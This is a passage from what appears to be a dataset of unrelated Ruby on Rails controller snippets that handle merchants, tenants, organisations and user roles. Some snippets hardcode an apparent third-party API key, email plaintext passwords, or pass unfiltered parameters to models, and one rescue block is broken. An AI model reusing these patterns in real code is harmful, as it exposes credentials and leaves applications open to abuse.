@administration_offering.delete_offering_merchants\n @administration_offering.add_offering_merchants(params[:administration_merchant_offering])\n respond_to do |format|\n if @administration_offering.update_attributes(params[:administration_offering])\n format.html { redirect_to(@administration_offering, :notice => 'Offering was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @administration_offering.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @customer = Customer.new(customer_params)\n if current_user.role == 'Party'\n @customer.update!(:party_id => current_user.party.id) \n redirect_to customers_path\n else\n respond_to do |format|\n if @customer.save\n format.html { redirect_to @customer, notice: 'Customer was successfully created.' }\n format.json { render :show, status: :created, location: @customer }\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end\nend", "def create\n # TODO fix until strong params\n @merchant.approved = false\n\n if @merchant.save\n render json: @merchant, status: :created, location: @merchant\n else\n render json: @merchant.errors, status: :unprocessable_entity\n end\n end", "def create\n @merchant = Merchant.new(params[:merchant])\n \n \n respond_to do |format|\n if @merchant.save\n params[:merchant][:merchant_id] = @merchant.id\n @merchant.update_attributes(params[:merchant])\n \n format.html { redirect_to(@merchant, :notice => 'Merchant was successfully created.') }\n format.xml { render :xml => @merchant, :status => :created, :location => @merchant }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @merchant.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @merit = Merit.new(merit_params)\n @organization = current_user.organization\n @merit.organization = @organization\n\n respond_to do |format|\n if @merit.save\n format.html { redirect_to merits_path, notice: 'Merit was successfully created.' }\n format.json { render :show, status: :created, location: @merit }\n else\n format.html { render :new }\n format.json { render json: @merit.errors, status: :unprocessable_entity }\n end\n end\n end", "def all\n @merchants\n end", "def register_college options\r\n ApplicationRecord.connection.transaction do\r\n campus = Campus.create_new_campus options\r\n options[:campus_id] = campus.id\r\n CampusUser.create_new_campus_user options\r\n clg_cd = CampusContactDetail.create_new_campus_contact options\r\n pin_code = create_address_detail options\r\n options[:pincode] = pin_code.pincode\r\n CampusAddress.create_new_campus_address options\r\n return campus.id\r\n end\r\n end", "def assign_tenants_to_circle(args = {}) \n body_put(\"/tenantcircles.json/tenants/#{args[:circleId]}\", args[:array_of_ids])\nend", "def index\n redirect_to root_path unless ViewMerchant.new(current_company_user, current_admin).check\n @merchants = []\n end", "def create\n if !current_user.super_admin?\n head :forbidden\n else\n # Create an organisation, an administrator organisation_unit and an admin user\n contact = Contact.find(organisation_params[:contact_id])\n if contact.present?\n ActiveRecord::Base.transaction do\n @organisation = Organisation.new\n @organisation.name = contact.company\n @organisation.contact = contact\n if @organisation.save\n organisation_unit = OrganisationUnit.new\n organisation_unit.name = 'Administration'\n organisation_unit.administration = true\n organisation_unit.organisation = @organisation\n if organisation_unit.save\n user = User.new\n user.name = \"#{contact.first_name} #{contact.last_name}\"\n user.email = contact.email\n pw = SecureRandom.urlsafe_base64(6)\n user.password = pw\n user.password_confirmation = pw\n user.role = Role.find_by(name: 'Admin')\n user.organisation_unit = organisation_unit\n if user.save\n UserMailer.with(user: user, pw: pw).welcome_email.deliver_later\n render json: @organisation.as_json(\n only: [:id, :name],\n include: {\n organisation_units: {\n only: [:id, :name],\n include: {\n users: {\n only: [:id, :name, :email],\n include: {\n role: { only: [:name] }\n }\n }\n }\n },\n }\n ), status: :created\n else\n puts '=> user.save failed!'\n raise user.errors\n end\n else\n puts '=> organisation_unit.save failed!'\n raise organisation_unit.errors\n end\n else\n puts '=> organisation.save failed!'\n raise @organisation.errors\n end\n rescue => errors\n raise json: errors, status: :unprocessable_entity\n return\n end\n end\n end\n end", "def create\n @tenant = Tenant.new(tenant_params)\n \n p_id = Property.searchSecond(@tenant.tenantbuildinginfo)\n Property.find_by(id: p_id).tenants << @tenant\n respond_to do |format|\n if @tenant.save\n # if (@tenant.renewal == true)\n # UserMailer.delay(run_at: @tenant.leaseend - 3.months).reminder_email(@tenant)\n # end\n format.html { redirect_to @tenant, notice: 'Tenant was successfully created.' }\n format.json { render :show, status: :created, location: @tenant }\n else\n format.html { render :new }\n format.json { render json: @tenant.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @merchants = Merchant.all\n end", "def index\n @merchants = Merchant.all\n end", "def update\n data = tenant_update_params\n tookan = {\"api_key\": \"50646180f541481e4c422b614c5825431be3c2f82fd57936541c03\",\"customer_id\": @tenant.customer_id,\"user_type\": 0,\"name\": data[:name],\"phone\": data[:phone1],\"email\": data[:email],\"address\": data[:address],\"latitude\": data[:latitude],\"longitude\": data[:longitude]}\n response = RestClient.post \"https://api.tookanapp.com/v2/customer/edit\", tookan.to_json, :content_type => \"application/json\"\n response = JSON.parse(response)\n respond_to do |format|\n if response[\"status\"] == 200\n if @tenant.update(tenant_update_params)\n food_category = FoodCategory.find_or_create_by(name: \"Veg\")\n @tenant.tenant_details.update(food_category_id: food_category.id)\n if @tenant.active == true\n end\n end\n @tenant.update(:updated_by=>session[:kitchen_user_id])\n format.html { redirect_to tenants_url, notice: 'Tenant was successfully updated.' }\n format.json { render :show, status: :ok, location: @tenant }\n else\n format.html { redirect_to tenants_url, notice: 'Tenant was not updated.' }\n format.json { render json: @tenant.errors, status: :unprocessable_entity }\n end\n end\nend", "def create_tenant\n Apartment::Tenant.create(params[:id])\n Apartment::Tenant.switch!(params[:id])\n\n\n redirect_to entreprise_path(enterprise_id: params[:entreprise])\n flash[:alert] = \"Tenant...#{Apartment::Tenant.current}\"\n end", "def create\n @tenant = Tenant.new(tenant_params)\n authorize @tenant\n # @tenant.apartment_id = params[:apartment_id]\n # @tenant.apartment_id = @apartment.id\n @tenant.apartment = @apartment\n @tenant.save\n redirect_to apartment_path(@apartment)\n\n\n # respond_to do |format|\n # if @tenant.save\n # format.html { redirect_to @tenant, notice: 'tenant was successfully created.' }\n # format.json { render :show, status: :created, location: @tenant }\n # else\n # format.html { render :new }\n # format.json { render json: @tenant.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @user = User.find(params[:id])\n user = @user.attributes\n user[\"role\"] = 2\n @user.update!(user)\n admin_params = Administrator.new.attributes\n admin_params[\"superadmin\"] = 0\n admin_params[\"user\"] = @user\n admin_params[\"geofence\"] = Geofence.first\n @administrator = Administrator.new(admin_params)\n respond_to do |format|\n if @administrator.save\n format.html { redirect_to administrators_path, notice: 'Administrator was successfully created.' }\n format.json { render :show, status: :created, location: @administrator }\n else\n format.html { render :new }\n format.json { render json: @administrator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n redirect_to root_path unless CreateMerchant.new(current_company_user, current_admin).check\n @merchant = @merchant_billing_plan.merchants.build(merchant_params)\n LoadRoles.new.load_merchant_roles(@merchant)\n\n @merchant_plan = @merchant.merchant_plans.build\n @merchant_plan.name = @merchant_billing_plan.name\n @merchant_plan.merchant_billing_plan_id = @merchant_billing_plan.id\n @merchant_plan.save\n\n boot_twilio()\n number = @client.incoming_phone_numbers.create(:phone_number => @merchant.phone_number)\n number.update({'SmsUrl' => 'https://textmarketingresellers.herokuapp.com/messages/reply'})\n\n respond_to do |format|\n if @merchant.save\n format.html { redirect_to root_path, notice: 'Merchant was successfully created.' }\n format.json { render :show, status: :created, location: @merchant }\n else\n format.html { render :new }\n format.json { render json: @merchant.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_mentor(appl_for_offering , mentor_info)\r\n\t\t# Get the person record for the reviewer\r\n\t\tfind_info = {:firstname => mentor_info.FirstName, :lastname => mentor_info.LastName, :email => mentor_info.EmailAddress, :address1 => mentor_info.Address, :city => mentor_info.City, :state => mentor_info.State, :zip => mentor_info.PostalCode, :salutation => \" \"}\r\n\t\tmentor = Person.find_or_create_by_best_guess(find_info)\r\n\t\t\r\n\t\t#mentor = Student.find_by_student_no(\"0528239\") # Use my own record to test\r\n\t\t\r\n\t\ttempMentor = ApplicationMentor.new\r\n\t\ttempMentor.application_for_offering_id = appl_for_offering .id\r\n\t\ttempMentor.person_id = mentor.id\r\n\t\ttempMentor.firstname = mentor.firstname\r\n\t\ttempMentor.lastname = mentor.lastname\r\n\t\ttempMentor.email = mentor.email\r\n\t\t\r\n\t\ttempMentor.save!\r\n#\t\tputs \" Mentor #{mentor.firstname} #{mentor.lastname} Added\"\r\n\tend", "def create\n @mentee = Mentee.new(mentee_params)\n @users=User.all\n @user=@users.last\n @mentee[:user_id] = @user.id\n if @mentee.save\n if current_user.mentor && current_user.mentee\n @mentor = Mentor.new()\n render 'additional_mentor'\n else\n redirect_to home_path\n end\n end\n end", "def new\n sales = @current_org.roles.where({name: 'Sales Coordinator'}).first\n sales_users = sales.present? ? @current_org.users.where({roles: sales.id.to_s}) : []\n @coordinators = sales_users\n @stages = @current_org.stages.where(type: 'lead')\n @mailchimp = MailchimpClient::Mailchimp.new((@current_org.mailchimp_account.api_key rescue ''))\n end", "def create\n @merchant = Merchant.new(merchant_params)\n\n respond_to do |format|\n if @merchant.save\n format.html { redirect_to edit_admins_merchant_path(@merchant), notice: 'Merchant was successfully created.' }\n format.json { render json: @merchant, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @merchant.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @allow_tenants = args[:allow_tenants] if args.key?(:allow_tenants)\n @default_tenant_location = args[:default_tenant_location] if args.key?(:default_tenant_location)\n end", "def merchants_with_pending_invoices\n failed = merchants_with_all_failed_transactions\n missing = merchants_without_transactions\n combo = [failed, missing].flatten.uniq\n merchants = combo.map { |id| @merchants.find_by_id(id) }\n end", "def create\n @merchant = Merchant.new(params[:merchant])\n @merchant.owner_id = current_user.id\n @merchant.get_coor # References method to pull coordinates from Google Maps Geocoding API\n\n respond_to do |format|\n if @merchant.save\n format.html { redirect_to @merchant, notice: 'Merchant was successfully created.' }\n format.json { render json: @merchant, status: :created, location: @merchant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @merchant.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_for_all_registrants\n signed_up_registrants.each do |registrant_sign_up|\n registrant_sign_up.create_reg_item\n end\n end", "def set_owner_and_roles\n if Member.where(company_id: self.company_id).count == 1\n self.add_role :director\n self.add_role :manager\n self.add_role :tradesman\n self.company.update(owner_id:self.id)\n end\n end", "def create_merchant(opts = {})\n name = opts[:name]\n return false unless name.is_a? String\n merchant_id = @merchants.insert(\n name: name,\n )\n return @merchants.where(id: merchant_id)\n end", "def create_organisation_items\n create_organisation\n end", "def add_reviewer(appl_for_offering , reviewer_info, offering_id, reviewer_or_mentor, award_type_letter, year)\r\n\t\t# Get the person record for the reviewer\r\n\t\tfind_info = {:firstname => reviewer_info.FirstName, :lastname => reviewer_info.LastName, :email => reviewer_info.EmailAddress, :address1 => reviewer_info.Address, :city => reviewer_info.City, :state => reviewer_info.State, :zip => reviewer_info.PostalCode, :salutation => \" \"}\r\n\t\treviewer = Person.find_or_create_by_best_guess(find_info)\r\n\t\t\r\n\t\tcommittee_id = award_type_letter == \"R\" ? MGE_RES_REV_COMM : OLD_MGE_REV_COMM\r\n\t\t\r\n\t\t#reviewer = Student.find_by_student_no(\"0528239\") # Use my own record to test\r\n\t\t\r\n\t\t# Adds the person as a comittee member if they are not already in it\r\n\t\tcomm_member = CommitteeMember.find(:first, :conditions => {:person_id => reviewer.id, :committee_id => committee_id})\r\n\t\tif comm_member.nil?\r\n\t\t\tcomm_member = CommitteeMember.new\r\n\t\t\tcomm_member.person_id = reviewer.id\r\n\t\t\tcomm_member.committee_id = committee_id\r\n\t\t\tcomm_member.committee_member_type_id = case reviewer_or_mentor.Status_Key\r\n\t\t\t\twhen 3 then 2 # specialist reviewer\r\n\t\t\t\telse 1 # general reviewer / feedback contact\r\n\t\t\tend\r\n\t\t\tcomm_member.skip_person_validations = true;\r\n\t\t\tcomm_member.save!\r\n#\t\t\tputs \" New Committee Member\"\r\n\t\telse\r\n\t\t\tcomm_member.skip_person_validations = true;\r\n#\t\t\tputs \" Already Committee Member\"\r\n\t\tend\r\n\t\t\r\n\t\t# Adds the person as a application reviewer if they are not already on it\r\n\t\tappl_reviewer = ApplicationReviewer.find(:first, :conditions => {:committee_member_id => comm_member.id, :application_for_offering_id => appl_for_offering.id})\r\n\t\tif appl_reviewer.nil?\r\n\t\t\tappl_reviewer = ApplicationReviewer.new\r\n\t\t\tappl_reviewer.committee_member_id = comm_member.id\r\n\t\t\tappl_reviewer.application_for_offering_id = appl_for_offering.id\r\n\t\t\tappl_reviewer.finalized = true\r\n\t\t\tappl_reviewer.save!\r\n\t\t\tappl_reviewer.create_scores\r\n#\t\t\tputs \" New App Reviewer\"\r\n\t\tend\r\n\t\t# Adds the additional comment of feedback person to reviewers that also were one\r\n\t\tif reviewer_or_mentor.Status_Key == 4\r\n\t\t\t\tappl_reviewer.comments = \"Feedback Person\"\r\n\t\t\t\tappl_reviewer.save!\r\n#\t\t\t\tputs \" Feedback Person\"\r\n\t\tend\r\n\t\t\r\n#\t\tputs \" App Reviewer app for offering id: #{appl_reviewer.application_for_offering_id.to_s}\"\r\n\t\t\r\n\t\t# make the score entry (there should only ever be one)\r\n\t\t\r\n\t\tif year > 2004\r\n\t\t\tif appl_reviewer.scores.count == 1\r\n\t\t\t\tunless appl_reviewer.scores[0].score.to_i >= reviewer_or_mentor.Rating_Key.to_i\r\n\t\t\t\t\tscore_to_change = appl_reviewer.scores[0]\r\n\t\t\t\t\tscore_to_change.score = reviewer_or_mentor.Rating_Key\r\n\t\t\t\t\tscore_to_change.save!\r\n#\t\t\t\t\tputs \" Reviewer Score: #{score_to_change.score}\"\r\n\t\t\t\telse\r\n#\t\t\t\t\tputs \" Reviewer Score: Kept the pervious due to duplicate person\"\r\n\t\t\t\tend\r\n\t\t\telse\r\n#\t\t\t\tputs \" BAD: It made #{appl_reviewer.scores.count.to_s} score entries instead of just 1\"\r\n\t\t\tend\r\n\t\tend \r\n\t\tappl_reviewer.save! # Save the application reviewer entry\r\n\t\t\r\n\tend", "def count\n merchants.count\n end", "def create\n @agency = Agency.new(agency_params)\n\n @manager = Management.new\n @manager.user = current_user\n @manager.agency = @agency\n @manager.save\n\n respond_to do |format|\n if @agency.save\n AdminMailer.new_agency(@agency).deliver\n format.html { redirect_to @agency, notice: 'Agency was successfully created.' }\n format.json { render :show, status: :created, location: @agency }\n else\n format.html { render :new }\n format.json { render json: @agency.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:coordinator][:city_id] = @cities_ids\n @coordinator = Coordinator.new(params[:coordinator])\n ong_desc = params[:ong_desc]\n union_movement_desc = params[:union_movement_desc]\n coordinator_years = params[:coordinator_years]\n coordinator_popular_education_years = params[:coordinator_popular_education_years]\n respond_to do |format|\n if @coordinator.save\n if !@coordinator.social_participations.first.nil?\n @coordinator.social_participations.first.save_with_descs(ong_desc, union_movement_desc)\n end\n if !@coordinator.coordinators_education_exps.first.nil?\n @coordinator.coordinators_education_exps.first.update_with_years(coordinator_years, coordinator_popular_education_years)\n end\n flash[:success] = t('coordinator.created')\n format.html { redirect_to(coordinators_path) }\n format.xml { render :xml => @coordinator, :status => :created, :location => @coordinator }\n else\n @rooms = []\n flash[:error] = t('default_error_message')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @coordinator.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n if params[:role] == \"merchant\"\n create_merchant #creating merchant in this method and sending response.\n elsif params[:role] == \"customer\"\n create_customer #creating customer in this method and sending response.\n end\n end", "def update\n # this action is not provided for partyroles\n end", "def merchants_by_id_collection(collection)\n FinderClass.match_by_data(@merchants.all, collection, :id)\n end", "def sign!\n transaction do\n create_organization!\n organization.contributors.create!(organization: organization, user: user, admin: true)\n save!\n end\n end", "def allowed_to_create_tenants=(value)\n @allowed_to_create_tenants = value\n end", "def set_merchant\n @epsadmin_merchant = Merchant.where(:merchant_uniq_id => params[:merchant_uniq_id]).first\n end", "def create\n # Build a new Tenant object and set the values based on user input\n tenant = Tenant.new do |t|\n p = params[:tenant]\n t.name = p[:name]\n t.payment_handle = p[:payment_handle]\n t.phone_num = p[:phone_num]\n t.email = p[:email]\n end\n\n # Attempt to save the tenant\n if tenant.save # success\n redirect_to back_address(\"\"), notice: return_message(record: tenant, action: \"create\")\n\n else # fail\n # Create 'failed_edits' hash which stores all the values from the records that failed to get saved\n failed_edits = Hash.new\n failed_edits['new'] = params[:tenant]\n failed_edits['new']['errors'] = tenant.errors.keys.map(&:to_s)\n\n redirect_to back_address(failed_edits.to_param), notice: return_message(record: tenant, action: \"create\")\n end\n end", "def set_merchant\n @merchant = Merchant.find(params[:id])\n end", "def create\n @corporate_user, password = User.create_corp_user(corporate_user_params)\n respond_to do |format|\n if @corporate_user.save\n admin_email = User.where(id: @corporate_user.parent_id).first.email\n InviteUser.corporate_user_confirmation(@corporate_user,admin_email,password).deliver\n format.html { redirect_to corporate_users_path, notice: \"#{APP_MSG['corporate_user']['create']}\" }\n format.json { render :show, status: :created, location: corporate_user_path }\n else\n format.html { render :new }\n format.json { render json: @corporate_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n registered = true\n\n plan = Plan.find(role_params[:plan_id])\n @role = Role.new(plan: plan, access: role_params[:access])\n authorize @role\n\n message = ''\n if role_params[:user].present? &&\n role_params[:user].key?(:email) &&\n role_params[:user][:email].present? && plan.present?\n\n if @role.plan.owner.present? && @role.plan.owner.email == role_params[:user][:email]\n flash.now[:notice] = format(_('Cannot share plan with %{email} since that email matches\n with the owner of the plan.'),\n email: role_params[:user][:email])\n else\n user = User.where_case_insensitive('email', role_params[:user][:email]).first\n if user.present? &&\n Role.where(plan: @role.plan, user: user, active: true)\n .count\n .positive? # role already exists\n\n flash.now[:notice] = format(_('Plan is already shared with %{email}.'),\n email: role_params[:user][:email])\n else\n # rubocop:disable Metrics/BlockNesting\n if user.nil?\n registered = false\n # Attempt to determine the new Collaborator's org based on their email\n # if none is found user the is_other org or the current user's if that is not defined\n email_domain = role_params[:user][:email].split('@').last\n collaborator_org = Org.from_email_domain(email_domain: email_domain)\n collaborator_org = Org.where(is_other: true).first if collaborator_org.blank?\n\n # DMPTool customization\n User.invite!(\n inviter: current_user,\n plan: plan,\n params: { email: role_params[:user][:email], org_id: collaborator_org&.id }\n )\n # User.invite!({ email: role_params[:user][:email],\n # firstname: _(\"First Name\"),\n # surname: _(\"Surname\"),\n # org: current_user.org,\n # invitation_plan_id: @role.plan.id },\n # current_user)\n message = format(_('Invitation to %{email} issued successfully.'),\n email: role_params[:user][:email])\n user = User.where_case_insensitive('email', role_params[:user][:email]).first\n end\n\n message += format(_('Plan shared with %{email}.'), email: user.email)\n @role.user = user\n\n if @role.save\n if registered\n deliver_if(recipients: user, key: 'users.added_as_coowner') do |r|\n UserMailer.sharing_notification(@role, r, inviter: current_user)\n .deliver_now\n end\n end\n flash.now[:notice] = message\n else\n flash.now[:alert] = _('You must provide a valid email address and select a permission\n level.')\n end\n # rubocop:enable Metrics/BlockNesting\n end\n end\n else\n flash.now[:alert] = _('Please enter an email address')\n end\n redirect_to controller: 'contributors', action: 'index', plan_id: @role.plan.id\n end", "def mapping_tenant\n @tenants = Tenant.where(:client_id => current_user.id, :is_active => true)\n @users = current_user.corporate_user\n end", "def new_merchant\n\t\t@merchant = Merchant.new\n\tend", "def create\n\t\t@merchant = Merchant.new(merchant_params)\n\n\t respond_to do |format|\n\t if @merchant.save\n\t\t\t# find the corresponding merchant application by email, and set its status\n\t\t # to true so that it won't show up as an application anymore\n\t\t \t@MerchantApplication = MerchantApplication.find_by(email: params[:merchant][:email])\n\t\t \tif !(@MerchantApplication.nil?) #check to see if merchant application is nil\n\t\t\t \t@MerchantApplication.status = \"true\"\n\t\t\t \t@MerchantApplication.save! # important save\n\t\t \tend\n\t\t #----------------------------------------------------------------#\n\n\t format.html { redirect_to '/admin_dashboard/main', notice: 'Merchant was successfully created.' }\n\t format.json { render action: 'thanks', status: :created, location: '/admin_dashboard/main' }\n\t else\n\t format.html { render action: 'new_merchant' } \n\t format.json { render json: @merchant.errors, status: :unprocessable_entity } # maybe find substitute for this since errors shown client side\n\t end\n\t end\n\tend", "def create\n @developer = Developer.new(params[:developer])\n \n @developer.email = 'none'\n @developer.password = 'none'\n @developer.name = 'none'\n @developer.surname = 'none'\n @developer.user.role = Role.find_by_title('developer')\n \n respond_to do |format|\n if @developer.save\n format.html { redirect_to login_path, notice: 'Developer was successfully created.' }\n format.json { render json: @developer, status: :created, location: @developer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_current_tenant_if_necessary\n if !self.user.current_tenant\n self.user.current_tenant = self.tenant\n self.user.save\n end\n end", "def create\n UsersAgency.selection_from_ids(current_user, params[:agency_selection])\n head :created\n end", "def updates_after_create\n parent_policy = Policy.where('parent_id IS NULL').first\n agency_policy = parent_policy.dup\n agency_policy.organization = self\n agency_policy.parent_id = parent_policy.id\n agency_policy.description = \"#{self.short_name} Transit Policy\"\n agency_policy.object_key = nil\n agency_policy.save!\n\n User.where(organization_id: Grantor.first.id).each{|user| user.viewable_organizations = user.user_organization_filter.try(:get_organizations)}\n end", "def update\n outcome = Merchants::Update.run({ id: params[:id] }, merchant_params)\n\n if outcome.success?\n render_success_response({ merchant: outcome.result })\n else\n render_unprocessable_entity(outcome.errors.symbolic)\n end\n end", "def get_merchants\n uri = build_uri_for(@provider)\n p uri\n http = initialize_http(uri)\n\n request = Net::HTTP::Get.new(uri.request_uri)\n JSON( http.request(request).body )\n end", "def create\n @rental = Rental.find(params[:rental_id])\n @tenant_family_member = TenantFamilyMember.new(tenant_family_member_params)\n @tenant_family_member.rental = @rental\n\n respond_to do |format|\n if @tenant_family_member.save\n format.html { redirect_to @rental, notice: 'Tenant family member was successfully created.' }\n format.json { render :show, status: :created, location: @tenant_family_member }\n else\n format.html { render :new }\n format.json { render json: @tenant_family_member.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_merchant_data(request, options)\r\n request.Set(RocketGate::GatewayRequest::MERCHANT_ID, @options[:login])\r\n request.Set(RocketGate::GatewayRequest::MERCHANT_PASSWORD, @options[:password])\r\n end", "def update\n @merchant = Merchant.find(params[:id])\n\n respond_to do |format|\n if @merchant.update_attributes(params[:merchant])\n format.html { redirect_to merchants_setup_path, notice: 'Comercio actualizado exitosamente' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @merchant.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_caregiver_profile\n @user = User.new(params[:user])\n @profile = Profile.new(params[:profile])\n @user.profile = @profile\n @senior = User.find(params[:patient_id].to_i) # senior variable is used in view\n\n User.transaction do \n @user.email = params[:email]\n @user.is_new_caregiver = true\n @user[:is_caregiver] = true\n @user.skip_validation = true # skip validation, just save user data\n # \n # Wed Nov 24 03:31:20 IST 2010, ramonrails\n # * caregiver role is lazy load now\n # * this is required to set the role and send emails\n @user.lazy_roles[:caregiver] = @senior\n\n if @user.save\n # @user\n @user.activate #this call differentiates this method UsersController.populate_caregiver \n # \n # Tue Dec 21 01:17:33 IST 2010, ramonrails\n # * verbal discussion with chirag. no ticket\n # * Make the caregiver \"active for senior\" when created from caregivers list\n # @user.options_for_senior( @senior, {:active => true}) # the latter syntax also works equally\n @user.options_attribute_for_senior( @senior, :active, true) # the former syntax also works equally\n \n @profile.user_id = @user.id\n @profile[:is_new_caregiver] = true\n if @profile.save!\n patient = User.find(params[:patient_id].to_i)\n # \n # Sat Dec 4 01:41:51 IST 2010, ramonrails\n # * use the easier and better method\n @user.is_caregiver_for( patient) # create the role if not already exists\n @user.options_for_senior( patient, { :position => params[:position] })\n # OBSOLETE: old technoque\n #\n # role = @user.has_role 'caregiver', patient\n # caregiver = @user\n # @roles_user = patient.roles_user_by_caregiver(caregiver)\n # update_from_position(params[:position], @roles_user.role_id, caregiver.id) unless @roles_user.blank?\n # unless role.blank? || @roles_user.blank?\n # # a few attributes were removed from the form. this was causing Exception and user data not saved\n # RolesUsersOption.create(:roles_user_id => @roles_user.id, :position => params[:position], :active => true) # ,:relationship => params[:relationship],:is_keyholder => params[:key_holder][:is_keyholder])\n # end\n redirect_to :controller => 'call_list',:action => 'show',:id => params[:patient_id]\n else\n render :action => 'new_caregiver_profile',:user_id => current_user\n # raise \"Invalid Profile\"\n end\n else\n render :action => 'new_caregiver_profile',:user_id => current_user\n # raise \"Invalid User\"\n end\n # redirect_to :controller => 'call_list',:action => 'show',:id => params[:patient_id]\n\n # rescue Exception => e\n # RAILS_DEFAULT_LOGGER.warn(\"ERROR signing up, #{e}\")\n # render :action => 'new_caregiver_profile'\n end\n end", "def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n ProviderAdmin.create(:member_id =>params[:member_id], :provider_id => @provider.id, :active=>true)\n format.html { redirect_to(@provider, :notice => 'Provider was successfully created.') }\n format.xml { render :xml => @provider, :status => :created, :location => @provider }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_merchant\n @merchant = Merchant.find(params[:id])\n \n end", "def add_supplier\n selections = UserContestSelection.where(:user_id => current_user.id, :matri_dream_ic_id => params[:matri_dream_ic_id])\n if selections.empty?\n UserContestSelection.create(:user_id => current_user.id, :matri_dream_ic_id => params[:matri_dream_ic_id], :supplier_account_id => params[:supplier_account], :confirmed => false)\n else\n selection = selections.first\n selection.update_attributes(:supplier_account_id => params[:supplier_account])\n end\n redirect_to contests_matridream_path\n end", "def create\n @customer_company = CustomerCompany.new(customer_company_params)\n @customer_company.created_user_id = current_user.id\n respond_to do |format|\n if @customer_company.save\n format.html { redirect_to @customer_company, notice: t(\"controllers.create_success\") }\n format.json { render :show, status: :created, location: @customer_company }\n else\n @customer_companies_options = CustomerCompany.where(active: true, consortium: true).map{|m| [ m.company_customer , m.id ] }\n format.html { render :new }\n format.json { render json: @customer_company.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_manager\n user = User.new(first_name: \"Ralph\", last_name: \"Wiggum\", username: \"rwiggum\", email: \"chris+rwiggum@cryptographi.com\", password: 'muffins1', password_confirmation: 'muffins1', job_title: 'Manager')\n company_domain = \"cryptographi.com\"\n team = Team.find_by(domain_name: company_domain)\n if !team\n create_admin\n end\n user.team = team\n manager = User.find_by(email: 'chris+jsmith@cryptographi.com')\n user.manager_id = manager.id\n if user.save\n user.add_role :manager\n end\n end", "def create\n @monthly_date = params[:start_subscription_date].split(\"/\")\n add_breadcrumb \"Merchants\", epsadmin_merchants_path\n @epsadmin_merchant = Merchant.new(merchant_params)\n @epsadmin_merchant.modifier_id = current_user.id\n @epsadmin_merchant.subscription_date = params[:start_subscription_date]\n if params[:merchant][:is_kyc_submitted] == \"1\"\n if !(User.all.map(&:email).include?(params[:merchant][:email_address]))\n if !params[:merchant][:address_proof].blank? && !params[:merchant][:given_address_proof].blank? && !params[:merchant][:id_proof].blank? && !params[:merchant][:given_id_proof].blank? && !params[:merchant][:business_id_proof].blank? && !params[:merchant][:given_business_id_proof].blank? && !params[:merchant][:business_address_proof].blank? && !params[:merchant][:given_business_address_proof].blank?\n respond_to do |format|\n if @epsadmin_merchant.save\n @subscription = Subscription.new(:start_subscription_date => params[:start_subscription_date],:monthly_invoice_date => @monthly_date[1], :merchant_id => @epsadmin_merchant.id )\n @subscription.save if @subscription\n create_user(params[:merchant][:status],@epsadmin_merchant)\n format.html { redirect_to epsadmin_merchants_path, notice: 'Merchant was successfully created.' }\n format.json { render json: @epsadmin_merchant, status: :created, location: @epsadmin_merchant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @epsadmin_merchant.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { render action: \"new\" }\n @epsadmin_merchant.errors.add(:is_kyc_submitted, 'must be unchecked due to some documents not uploaded/seleted')\n end\n end\n else\n respond_to do |format|\n format.html { render action: \"new\" }\n @epsadmin_merchant.errors.add(:email_address, 'is already exist')\n end\n end\n else\n if !(User.all.map(&:email).include?(params[:merchant][:email_address]))\n respond_to do |format|\n if @epsadmin_merchant.save\n @subscription = Subscription.new(:start_subscription_date => params[:start_subscription_date] ,:monthly_invoice_date => @monthly_date[1], :merchant_id => @epsadmin_merchant.id )\n @subscription.save if @subscription\n create_user(params[:merchant][:status],@epsadmin_merchant)\n format.html { redirect_to epsadmin_merchants_path, notice: 'Merchant was successfully created.' }\n format.json { render json: @epsadmin_merchant, status: :created, location: @epsadmin_merchant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @epsadmin_merchant.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { render action: \"new\" }\n @epsadmin_merchant.errors.add(:email_address, 'is already exist')\n end\n end\n end\n end", "def create\n @user = User.new(user_params)\n cost = 10\n encrypted_password = ::BCrypt::Password.create(\"#{user_params[:password]}#{nil}\", :cost => cost).to_s\n @user.assign_attributes(:encrypted_password => encrypted_password, :is_deleted => false)\n @selected_role = user_params[:role_id]\n @user.transaction do\n begin\n if @user.save\n auto_assigned_managers_to_just_below_users\n assign_managers\n respond_to do |format|\n format.html { redirect_to @user, notice: 'Users was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user }\n end\n else\n set_possible_roles\n respond_to do |format|\n if @selected_role.to_s != \"\" || user_params[:city_id] != \"\"\n populate_user_managers_value(@selected_role,user_params[:city_id])\n end\n format.html { render action: 'new' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n rescue ActiveRecord::Rollback\n handle_rollback\n end\n end\n end", "def destroy\n @merchant.destroy\n \n render_success_response({}, \"Merchants successfully deleted\", status = 200)\n end", "def create\n @organization = Organization.new(organization_params)\n respond_to do |format|\n if @organization.save && @organization.associate_user(current_user, ['admin'])\n 